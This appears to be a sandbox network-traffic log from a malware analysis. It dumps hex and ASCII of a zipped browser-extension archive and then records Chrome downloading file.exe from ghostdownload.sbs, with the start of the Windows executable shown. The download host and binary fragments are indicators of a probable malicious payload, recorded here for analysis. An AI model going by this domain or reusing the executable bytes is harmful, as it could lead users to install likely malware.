ce 99 90 02 1e 3a f4 cf 9f 41 6b d0 73 46 a8 e7 7d c2 a8 d1 10 6b c8 b5 cf 95 fa 7b 1d 2c 86 a0 56 bf 7b 08 e7 24 dc ae 1b 
f1 89 bd 56 a1 e3 e2 46 a6 5b ec 9e c7 8b 74 9e 90 a0 fe a4 05 0c ed b9 26 70 be 26 2b b0 d0 2d 8d 34 c3 4d 5e 61 79 f8 
29 01 51 78 84 d1 c2 3e f6 3e a4 6c 4b dc 2d 82 ad 63 6d 2f ab 19 28 72 13 1d e4 f0 af 10 95 ea 08 18 1c 90 ae 59 78 50 
b5 f4 27 74 72 73 f3 38 26 6a 4a 25 cf 3c 42 da 6c a2 23 02 0c c2 51 5e 44 67 0b d3 8c 1d b0 92 a5 8b 1b 9f 00 25 a1 3d 
5f 4c 9a 72 15 f3 94 fa c4 b3 10 7f c5 f6 f5 81 f7 
Data Ascii: xIxV&.P|p\'hr+[bJRc(`4T/YA"DDq:AksF}k{,V{$VF[t&p&+-4M^ay)Qx>>lK-cm/(rYxP'trs8&jJ%<Bl#Q^Dg%=_Lr

2022-01-13 21:05:25 UTC 1613 IN Data Raw: fd 71 95 a8 74 91 c6 41 d1 e1 c6 18 df e3 f1 50 e7 3f 6a cb e9 38 18 a0 2b 79 0d 5d ef 49 ef b6 04 a6 d7 bd 10 
e3 65 e1 6e e6 f6 17 66 11 39 8b cc c3 93 b0 9b 51 a2 6a 69 84 84 7e 8a 04 50 60 71 3f ae ec 0b b1 8b ee 65 54 7f 51 c9 
6b f7 dc e1 2b c6 77 38 86 8b 10 52 0c 1b 65 d4 d9 89 3c a5 b3 20 9e d2 29 0d 43 94 0d 19 6f a6 15 ff 9a 8a 4a 69 6d 0c 
57 e1 c0 64 55 28 a3 6c e1 a6 52 a5 32 9a 0c 3e c1 b0 26 23 29 d6 63 e7 19 00 82 12 69 5d a3 79 d6 7e c3 82 e4 b2 73 
d9 ee 8d d7 05 48 16 0c 4d cd e0 03 44 22 c5 af ac d7 17 f5 3c 28 c7 a1 8e a3 c9 00 8d 16 21 3b 96 53 b4 63 61 28 4d b7 
fd 1e 7a 90 20 36 92 72 77 9e 4e eb 3f ae f4 b0 93 b0 17 64 57 5b 44 f7 51 39 96 2c dd 1e 9d e4 7a d9 1b 38 b2 86 38 96 
46 7a b4 4b 7d 2e d1 40 bf b7 39 c3 cd 9e a9 13 48 88 57 
Data Ascii: qtAP?j8+y]Ienf9Qji~P`q?eTQk+w8Re< )CoJimWdU(lR2>&#)ci]y~sHMD"<(!;Sca(Mz 6rwN?dW[DQ9,z88F
zK}.@9HW

2022-01-13 21:05:25 UTC 1615 IN Data Raw: 41 29 9d 92 5d b3 d0 a7 b1 fd 12 38 81 29 24 c2 49 b2 70 2b 06 fd 73 f4 83 5a 27 81 be c8 ca 24 2c 7a ff 64 0e 
8f a9 8b 30 ae 5f 80 c5 6c c2 7f 5b c6 9d be 18 11 1b a4 b3 b0 f0 8d c1 75 c7 45 91 6d f9 3c 47 49 13 09 38 3a 31 62 b0 
20 68 c8 12 88 dc ec 15 02 33 bb 1f 08 20 72 cc 6d c2 59 84 bb 8e 51 a9 94 ca f8 7f a3 ae 5b 27 8b 1b 98 41 02 35 3f ca 
08 9b 63 c4 28 7f 9e 03 29 2b ba 46 43 d2 a7 b5 2a 0a 36 f4 63 b5 b2 be 62 9f 99 17 d4 08 35 63 1f 6e 80 84 26 9d 42 a7 
6d d2 22 79 63 73 0d 3e ac 73 9d 51 96 c4 5f c6 41 5b 67 e3 c1 5e 88 48 eb 5b 93 ee 40 42 94 d3 87 e9 b8 82 1e 5a 94 
11 90 9c 2b 09 2b b2 0b 13 e0 f8 8d b8 49 05 66 35 ab 6d 5a 0e d9 86 47 85 16 95 2b 04 58 50 2e d8 b6 f4 f9 63 b7 1a ed 
cd 35 34 74 66 53 f7 c2 b8 9d 2f 53 ee e1 1c e1 52 f6 f1 
Data Ascii: A)]8)$Ip+sZ'$,zd0_l[uEm<GI8:1b h3 rmYQ['A5?c()+FC*6cb5cn&Bm"ycs>sQ_A[g^H[@BZ++If5mZG+XP.
c54tfS/SR

2022-01-13 21:05:25 UTC 1616 IN Data Raw: 9c 23 5a 37 ad 9c 91 20 11 8d a5 08 60 08 08 94 93 f9 98 11 cd c8 96 4c 60 e3 51 0a 73 b9 97 ad e6 4b 15 b1 
9a ee bb e2 fa 94 1c e6 7b 0e cf cf 3d 01 02 07 83 3d c3 cb 3b 04 ca 77 7f ca d9 9e f9 5b 40 36 3a e9 71 86 11 32 d6 c5 
33 5a 4a 4c 69 18 37 b6 96 de 94 67 b4 a4 cd aa 9c d4 30 39 a7 7c c2 9b 82 44 92 05 2d 75 4b 47 b3 3c 1d 31 eb 8f 70 
6d fc 96 31 26 a7 6b 51 34 68 64 02 bf 5e a6 44 3a 22 a9 21 d5 7e ca 73 4a 2a 20 dc cf 2c 81 c8 2b b5 64 92 c7 97 ac 27 
17 06 03 df 9c a7 ad 97 cd 8c e9 fe 9f 
Data Ascii: #Z7 `L`QsK{==;w[@6:q23ZJLi7g09|D-uKG<1pm1&kQ4hd^D:"!~sJ* ,+d'

2022-01-13 21:05:25 UTC 1616 IN Data Raw: 54 56 d0 80 40 07 34 94 c2 3c f6 72 53 39 2a 7c a9 64 8a 2d fe 7d 27 c4 cd 92 af 11 2d 38 63 76 8a 58 72 e0 
34 ad e7 bb 98 c5 11 2e 46 bb f5 63 b3 6b af 61 6a f3 73 b3 05 17 5d d8 6f 40 0e 95 3b 6e 4b 05 ab 7c 9f 99 5d e4 bb 2c 
91 70 83 8a c8 a5 8d 9d 8f 1e 63 07 1e f9 6c 20 9f 0d b3 cf 1e e5 b3 51 f6 d9 50 3e 1b 67 9f 8d e4 b3 49 f6 d9 44 3e 7b ce 
3e 7b 92 cf 9e b2 cf d0 e2 cb c9 4b 5e 26 d2 ff d1 31 f6 8f f7 2f f6 37 0e 8d 5c 85 de 6e f2 e7 5e 22 23 1b d3 61 22 ed 8a 
9e 82 e4 4a 9a 00 82 ec fc 09 5a 6c 42 a1 88 8d cc 2f 45 fb e6 9c a9 ed 21 ad 01 13 f8 01 ca 25 de 41 6f aa 74 9e 6a 62 
85 59 77 3c 9f aa 6c 39 7e ec d7 3d 3c c3 46 70 f7 c0 30 7a 78 fb 4b c2 85 a8 3b cb da 7f 48 d6 fe 44 e1 c7 3c 08 3f fe fa 
54 49 01 bd 32 d3 95 a0 93 2a ff 3c b3 1b 5d f6 
Data Ascii: TV@4<rS9*|d-}'-8cvXr4.Fckajs]o@;nK|],pcl QP>gID>{>{K^&1/7\n^"#a"JZlB/E!%AotjbYw<l9~=<Fp0zxK;HD<?TI
2*<]

2022-01-13 21:05:25 UTC 1617 IN Data Raw: b7 93 53 73 4c 98 ce 96 5d 29 57 ac 92 07 0c 23 ea f7 a3 4e f8 01 5d 27 05 be f5 9d 88 b7 16 f0 cf 01 a2 3f 63 
f4 fa cd 29 f0 ec 2b f8 c7 92 1e 88 68 c3 f1 9c a7 6f 94 76 14 23 9e 61 1f a0 7d 92 58 28 46 8b 3c ba e8 e6 79 7b 57 47 c6 
43 08 20 8f 08 a0 12 fb c1 66 b8 90 c6 79 42 c5 73 10 1f 12 77 de 90 42 53 64 32 3d 7c f9 23 be fc 86 1b a6 38 77 57 1d 
0d 84 40 45 08 42 98 ce 4a 1a f3 b3 90 1f 14 f4 ba 03 1b 7b e9 97 ab a7 a5 79 89 59 4b 7d 2e b1 75 0c f2 dc 77 b0 28 9a 
49 be 84 14 5a 4c 92 c5 4f ec ea 4f 81 3a 00 83 c9 b1 a3 c2 83 14 13 ae a0 33 9a 7c 1f 42 7b cb 7c 7f 57 7a ca 3f 9a b2 80 
d2 fc 79 7a 7c 3d 67 01 c4 f7 49 2f 41 0a b8 c8 b3 77 13 b8 34 1c e8 28 c0 47 d3 fa 22 98 34 6d 0a bb 3c d6 a8 ac 4d 40 
59 66 9c 2b 5d 6d 67 98 67 a4 3c a9 d0 8c db 94 
Data Ascii: SsL])W#N]'?c)+hov#a}X(F<y{WGC fyBswBSd2=|#8wW@EBJ{yYK}.uw(IZLOO:3|B{|Wz?yz|=gI/Aw4(G"4m<
M@Yf+]mgg<

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1619 IN Data Raw: e7 02 d6 6c 37 f1 22 02 5a 8f 3e 4b 60 9f 7a b4 b8 68 31 b7 69 f7 60 bf c6 2c 75 b7 d1 1d c1 bc 37 4c 7f 71 11 
6a 07 bf 7f cf 77 02 f3 05 24 17 7c c4 48 62 96 55 33 08 03 3a 53 0d b6 8b 10 ea 35 9d 66 7e 3d f4 66 77 ca 9f 31 a4 be 
03 7f 31 ce 2b a0 d4 87 f7 75 ae 83 c8 f8 a8 20 fc fd bb c9 8e 04 4a 2d b7 4a 2b 43 61 eb ac b0 34 28 7e 7d d2 68 15 95 
30 7b 49 25 4c 2b b1 d8 a0 1d 5a 60 6f 31 de 44 bf aa 98 94 ed 49 f3 ad 1f 9b 6f 7d bb 62 c7 2e f8 68 c7 f5 ec 35 ca 60 e1 
6c 3d 10 88 31 de 59 8f 0d 39 31 e6 80 b0 84 3d 94 fc 64 3e 3a 01 4b cd 87 f3 88 53 d4 12 c8 40 35 66 59 5b f8 8a 2d 5d 
65 54 27 6d d8 5e 2b 4e 62 42 dd 47 e7 07 98 66 2e 46 0a d1 00 fe bd 80 f3 6a cb 9a f2 07 bd 90 9c 61 fb f6 89 c6 91 85 
46 03 f7 12 42 d9 b8 91 cf 26 5a 26 c4 d4 a7 3c 94 
Data Ascii: l7"Z>K`zh1i`,u7Lqjw$|HbU3:S5f~=fw11+u J-J+Ca4(~}h0{I%L+Z`o1DIo}b.h5`l=1Y91=d>:KS@5fY[-]e
T'm^+NbBGf.FjaFB&Z&<

2022-01-13 21:05:25 UTC 1620 IN Data Raw: 10 d8 42 10 24 1d 80 75 d6 52 ae 87 f1 07 c3 69 cb 92 8f 9a c4 51 3c 78 fb 1d 4c 15 26 d4 e2 42 1f 2a f5 f2 67 
27 aa 47 1f 3e 48 07 d5 26 32 1e ff b6 75 87 d0 c9 fc a6 16 ea 8e c4 95 35 c5 38 1a 44 63 0d 4d 1a b9 40 4f 8b fe 72 90 fa 
08 e0 60 b4 98 50 6f 1e 5b 60 b4 63 68 dd ff 8c 2c 46 f4 19 4e 96 96 ac 12 dd fa 77 e8 87 91 67 b8 39 4e ea 59 dd 20 f5 
5a 09 f2 21 50 c0 6e dd 3b b8 0b ff a6 6a 46 59 5f 6f 26 cf c5 c5 58 1c dc 43 7a bb 74 cd 1b 71 f2 da e1 35 62 d5 57 ca 15 
0c 4b 36 b7 d4 9a 3d 8a 99 01 f9 ad f7 dc c9 b8 05 42 fe 2f 4a c2 79 56 94 e6 09 21 d4 2a e1 c5 aa ad 54 ca d4 d6 b9 28 
03 d2 f8 85 58 d2 56 6d f9 b3 88 4c d7 df b5 21 52 be 08 8f 20 21 30 a1 cb bf e4 45 cc 29 2c 5b b6 59 d1 db d4 5a 42 c8 
a0 d7 77 b5 44 7f 77 05 82 21 9c 0c ec f5 32 8d 
Data Ascii: B$uRiQ<xL&B*g'G>H&2u58DcM@Or`Po[`ch,FNwg9NY Z!Pn;jFY_o&XCztq5bWK6=B/JyV!*T(XVmL!R !0E),[
YZBwDw!2

2022-01-13 21:05:25 UTC 1621 IN Data Raw: 21 ba 01 19 fc a2 a8 cb 8b ff aa 58 ef de 9b 46 77 58 ea b6 09 25 4d 8d 5b ba 9e 0d 55 78 8a ae ff d0 c9 6e 18 
e2 81 61 24 95 8f 9b 42 a1 3f 36 af b9 c3 d7 ff d8 e1 23 d1 44 dc e1 44 9d 19 2b ef a7 7a 33 7f e0 f7 a4 48 a1 f2 dc 71 9a 
3b fa f6 fd 25 53 4d cb c9 01 2c c2 31 de d8 84 23 c9 45 d3 35 b3 12 8b 97 20 43 ac b6 01 07 c6 8b fe 03 4c 22 32 7b 4b 
37 1a a7 7a fd cd 4b 74 67 06 9f 8e 96 cd ef e2 14 85 e9 d4 d1 28 9b 63 16 56 9e ff df 70 43 a2 d3 5c e2 5d 49 39 e4 32 f9 
28 1d 78 eb 3a f2 8d 52 cc 52 d4 2d 26 c0 7c 3a 22 17 77 3a 30 08 b2 b9 9e 49 36 e9 d9 b3 5b 48 36 73 ff 1b 50 4b 07 08 
94 8d 3c d4 71 08 03 00 52 5d 09 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 13 
00 00 00 6d 69 72 72 6f 72 69 6e 67 5f 77 65 62 72 
Data Ascii: !XFwX%M[Uxna$B?6#DD+z3Hq;%SM,1#E5 CL"2{K7zKtg(cVpC\]I92(x:RR-&|:"w:0I6[H6sPK<qR]PK)Qmirr
oring_webr

2022-01-13 21:05:25 UTC 1622 IN Data Raw: 74 61 64 61 74 61 2f 76 65 72 69 66 69 65 64 5f 63 6f 6e 74 65 6e 74 73 2e 6a 73 6f 6e 95 59 5d 73 a3 38 d6 fe 
2b 5b 7d bd 53 85 c0 38 ed bd 8b 0d 02 13 23 07 a1 0f d0 d6 56 17 20 62 0c 02 13 1b c7 c0 d4 fc f7 55 7a e7 e2 dd e9 6e 
af df 8b 54 ca 36 20 ce a3 73 9e 0f f8 e7 ef 5f 64 79 29 ce c7 7e 38 9e ba 2f ff f8 32 9c cb b2 ca 2e d5 df fa f2 fc b7 b7 a3 
2a bf fc fd cb e5 78 e8 4a f9 ad 38 75 43 d9 0d 5f fe f1 fb 97 3e 9b d4 29 93 fa f8 72 0a ea dc b4 0d c1 6d 23 31 ab aa 30 
2b 55 4c db 25 b7 2e c7 b4 1d 3f 52 73 78 2b 4c b5 14 f1 76 89 9c 67 1b 1d 6f 47 e1 a9 4e 24 c8 d8 d6 a7 a3 3e be 0a 6b 
6a 6e 3f bf 6f d5 45 24 e1 71 af 86 a7 6d b7 ae a4 77 38 ee 8f c1 5b ee ad ea 94 8f fa ba ab 2a 8f 57 83 3e 77 4e b9 d4 9f 
ed f7 c2 5c 5d 3f cf 2d da d5 87 84 ab 53 
Data Ascii: tadata/verified_contents.jsonY]s8+[}S8#V bUznT6 s_dy)~8/2.*xJ8uC_>)rm#10+UL%.?Rsx+LvgoGN$>kjn?
oE$qmw8[*W>wN\]?-S

2022-01-13 21:05:25 UTC 1624 IN Data Raw: 8d d5 b8 77 ab 1e f9 fd 3b 85 a8 8f 3d 10 a6 bc 5f a7 ec eb 2d 35 c6 1b aa 05 2c 3b 11 c9 5a 41 de 60 40 7d 6c 
44 f4 eb dd b9 cb 1e e6 bc 40 84 6e b0 0d cd 60 a3 fd 14 8a 5d ad 3b ad 60 68 8e 00 4d 54 af 7b bf c7 5c 78 61 c2 96 a1 
39 10 cc c4 89 98 41 58 b8 77 b1 ef e5 f4 a0 c7 25 12 84 cd b8 d3 35 ee 78 b2 1d 32 2a 68 d1 08 9e 83 fe 43 b6 ab 29 d2 
76 af 30 d9 7e cf 01 8c e9 68 a6 16 fc 28 0c 85 ee fb ac fe 51 9f 05 50 a2 71 21 e2 45 78 81 1d 5b 68 1d d5 30 c8 79 bf 4f 
09 bb e6 04 5e 23 a5 1c 62 29 a1 fb 11 15 d0 d5 fc 88 dd b0 66 ec 2e f6 e6 e2 d1 be 77 e5 5c d1 94 06 15 82 ab 44 76 ea 
35 aa 55 20 4d 91 c5 47 b0 c4 00 3a 29 0f 7c c6 45 9f ce 87 45 de 55 9b b2 b1 d7 92 d2 7b d8 9f f3 07 b1 8f 2c 76 94 dc 
00 d8 0c ed b0 45 2e 6f 82 ad f4 4e 37 ca a5 9d 1a 
Data Ascii: w;=_-5,;ZA`@}lD@n`];`hMT{\xa9AXw%5x2*hC)v0~h(QPq!Ex[h0yO^#b)f.w\Dv5U MG:)|EEU{,vE.oN7

2022-01-13 21:05:25 UTC 1625 IN Data Raw: 96 42 1a e8 25 e4 bd c9 e9 a8 bd 36 e6 7b 58 18 d2 d3 07 df c1 be 6c 0f 0f 66 2b b8 29 dd f1 84 d4 69 48 2d 
76 2e a8 3d 69 7f 41 11 ac b6 74 0e 2e 05 c7 22 56 18 84 b5 6a 33 4b 56 b1 c9 52 62 9d cc 18 de f5 f7 cb 0c ae 28 7b 34 
5f f1 40 73 6b df 0a 4f 6e 50 17 6c 18 0c 7a c6 18 c8 3d 65 f3 0e c6 92 04 bb 90 e1 25 51 eb 17 4a 82 58 fb 11 77 17 6b 6c
ff 8a 7f 0b af c2 62 97 34 d9 ea 7a c3 9f 61 fd 41 67 d6 d0 4e 86 fa 5a b7 bc 0e 04 33 d4 db de 03 33 03 b2 17 e6 e5 a6 7d 
05 4f eb 6a 51 74 6a 4a cc 68 11 53 f9 2a 1a f8 03 bf a7 2d ac 33 53 4e b9 c5 ae 5a fb 67 cd d7 7d e1 47 bf 58 77 6b 50 
17 9f 45 63 6b cd 3c d8 69 0b 74 9e 5c 5d 33 8e db c8 40 16 d3 e7 96 b5 1a c3 b9 59 c4 ce 5a df 14 c6 e1 5c cd da fb fe 
b8 ae 09 67 8d dd 2c b8 dd 88 5f d7 69 11 4b d7 00 
Data Ascii: B%6{Xlf+)iH-v.=iAt."Vj3KVRb({4_@skOnPlz=e%QJXwklb4zaAgNZ33}OjQtjJhS*-3SNZg}GXwkPEck<it\]
3@YZ\g,_iK

2022-01-13 21:05:25 UTC 1626 IN Data Raw: 0a cf 35 db 92 22 69 16 c1 61 31 ed d4 6b fe 7c 68 5e 9e 16 9d 7c 56 d0 eb 99 78 96 d3 37 8c ac a7 7c bf 5f d4 
65 74 58 b4 b7 14 bd ec 3f d6 d7 af f5 38 5c b7 51 6b 7e db f5 56 e9 bd 39 57 26 f2 ab b7 ee 30 2c a1 b6 18 6d 7d fb ba 09
9e 67 cd 97 87 db 8b f9 da 6c 97 df fc cd 33 e8 e5 c9 ca 9f 36 4f 31 a6 61 75 3e de 1c ef f6 5b fd 04 62 1c 3a d7 0b 82 6b 
0c 37 3d a9 cf 24 1b 6f eb 2e f9 70 6e ee b0 78 a2 c6 66 2a 2a 36 7a 46 63 90 6f 2c b0 40 9f 2d 00 f7 b2 8b ad 9c af 1f f5 
b7 e6 f0 bc 30 5e 2b ce d2 97 f7 de ba 0e e4 f0 7e e1 6f db 0f 39 de be fc f1 af 3f fe f8 d7 bf 01 50 4b 07 08 16 b7 56 d0 ec 
0f 00 00 a9 22 00 00 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 09 00 00 00 
00 00 00 00 00 00 10 00 ed 01 00 00 00 00 
Data Ascii: 5"ia1k|h^|Vx7|_etX?8\Qk~V9W&0,m}gl36O1au>[b:k7=$o.pnxf**6zFco,@-0^+~o9?PKV"PK*Q

2022-01-13 21:05:25 UTC 1628 IN Data Raw: 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 a5 89 
00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6c 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 32 77 9f 34 08 13 00 00 f4 5f 00 
00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 e1 89 00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6c 2f 6d 65 73 73 61 67 65 73 2e 
6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 
00 00 00 10 00 ed 01 30 9d 00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6e 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 7a 
25 be a9 78 0e 00 00 be 2d 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 6c 9d 00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6e 
2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 
Data Ascii: *Q_locales/el/PK)Q2w4__locales/el/messages.jsonPK*Q0_locales/en/PK)Qz%x-l_locales/en/messages.jsonPK

2022-01-13 21:05:25 UTC 1629 IN Data Raw: 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 4d 32 01 00 5f 6c 6f 63 61 6c 65 73 2f 68 
72 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 58 3d ee 03 7a 0f 00 00 65 31 00 00 19 00 00 00 00 00 00 00 00 00 
00 00 a4 01 89 32 01 00 5f 6c 6f 63 61 6c 65 73 2f 68 72 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 
00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 4a 42 01 00 
5f 6c 6f 63 61 6c 65 73 2f 68 75 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 5d 1c 7c 4f 11 10 00 00 16 36 00 00 
19 00 00 00 00 00 00 00 00 00 00 00 a4 01 86 42 01 00 5f 6c 6f 63 61 6c 65 73 2f 68 75 2f 6d 65 73 73 61 67 65 73 2e 6a 
73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 
Data Ascii: M2_locales/hr/PK)QX=ze12_locales/hr/messages.jsonPK*QJB_locales/hu/PK)Q]|O6B_locales/hu/messages.j
sonPK*Q

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1630 IN Data Raw: 00 00 00 00 10 00 ed 01 f8 d7 01 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6c 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 
8c 04 51 a8 68 87 8a 8d 12 00 00 0d 65 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 34 d8 01 00 5f 6c 6f 63 61 6c 65 
73 2f 6d 6c 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 
00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 08 eb 01 00 5f 6c 6f 63 61 6c 65 73 2f 6d 72 2f 50 4b 01 02 
14 03 14 00 08 08 08 00 29 8c 04 51 b9 ab d8 b2 b5 11 00 00 16 5a 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 44 
eb 01 00 5f 6c 6f 63 61 6c 65 73 2f 6d 72 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 
2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 
Data Ascii: _locales/ml/PK)Qhe4_locales/ml/messages.jsonPK*Q_locales/mr/PK)QZD_locales/mr/messages.jsonPK*Q

2022-01-13 21:05:25 UTC 1631 IN Data Raw: 6f 63 61 6c 65 73 2f 73 6c 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 e5 6b e8 ea 60 0f 00 00 d8 31 
00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 11 80 02 00 5f 6c 6f 63 61 6c 65 73 2f 73 6c 2f 6d 65 73 73 61 67 65 73 
2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 
00 00 00 00 10 00 ed 01 b8 8f 02 00 5f 6c 6f 63 61 6c 65 73 2f 73 72 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 
04 04 ee a1 ba 11 00 00 94 5d 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 f4 8f 02 00 5f 6c 6f 63 61 6c 65 73 2f 73 
72 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 
00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 f5 a1 02 
Data Ascii: ocales/sl/PK)Qk`1_locales/sl/messages.jsonPK*Q_locales/sr/PK)Q]_locales/sr/messages.jsonPK*Q

2022-01-13 21:05:25 UTC 1633 IN Data Raw: 14 03 14 00 08 08 08 00 29 8c 04 51 5c 3f f4 81 9e 0f 00 00 d0 35 00 00 19 00 00 00 00 00 00 00 00 00 00 00 
a4 01 f4 2a 03 00 5f 6c 6f 63 61 6c 65 73 2f 7a 68 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 
08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 10 00 ed 01 d9 3a 03 00 5f 6c 6f 
63 61 6c 65 73 2f 7a 68 5f 54 57 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 80 77 20 c9 0c 10 00 00 f7 36 00 00 
1c 00 00 00 00 00 00 00 00 00 00 00 a4 01 18 3b 03 00 5f 6c 6f 63 61 6c 65 73 2f 7a 68 5f 54 57 2f 6d 65 73 73 61 67 65 
73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 4f 99 ea ee 33 b2 02 00 aa 44 09 00 0a 00 00 00 00 
00 00 00 00 00 00 00 a4 01 6e 4b 03 00 61 6e 67 75 6c 61 72 
Data Ascii: )Q\?5*_locales/zh/messages.jsonPK*Q:_locales/zh_TW/PK)Qw 6;_locales/zh_TW/messages.jsonP
K)QO3DnKangular

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.4 49801 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:28 UTC 1634 OUT GET /assets/file.exe HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:29 UTC 1634 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:29 GMT
Content-Type: application/x-msdownload
Content-Length: 605184
Connection: close
last-modified: Thu, 13 Jan 2022 19:36:50 GMT
x-turbo-charged-by: LiteSpeed
Cache-Control: max-age=14400
CF-Cache-Status: MISS
Accept-Ranges: bytes
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XAjjQaSHsgQCR7mh5ITAMS2I466%2BZs
Lg4WOF5W7vtOV%2FMkpWBh1S%2BvV1eBZA1205KZ3RRyBj50gP7HzNMnSxZDCY9QhsqsOBbK7J8%2FH8
GJHWya%2BLpRMcBwN9aaYNi9LYtg7iKA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd1953b4b3a4a74-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2022-01-13 21:05:29 UTC 1635 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 07 7d e0 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 
30 00 00 a0 06 00 00 9a 02 00 00 00 00 00 42 be 06 00 00 20 00 00 00 c0 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 09 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL}a0B @ @

2022-01-13 21:05:29 UTC 1636 IN Data Raw: 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 be 06 00 00 00 00 00 48 00 00 00 02 00 
05 00 d8 44 00 00 38 2f 00 00 03 00 00 00 35 00 00 06 10 74 00 00 e0 49 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 7b 01 00 00 04 2a 22 02 03 7d 
01 00 00 04 2a 1e 02 7b 02 00 00 04 2a 22 02 03 7d 02 00 00 04 2a 1e 02 7b 03 00 00 04 2a 22 02 03 7d 03 00 00 04 2a 
1e 02 7b 04 00 00 04 2a 22 02 03 7d 04 00 00 04 2a 1e 02 7b 05 00 00 04 2a 22 02 03 7d 05 00 00 04 2a 00 00 00 13 30 
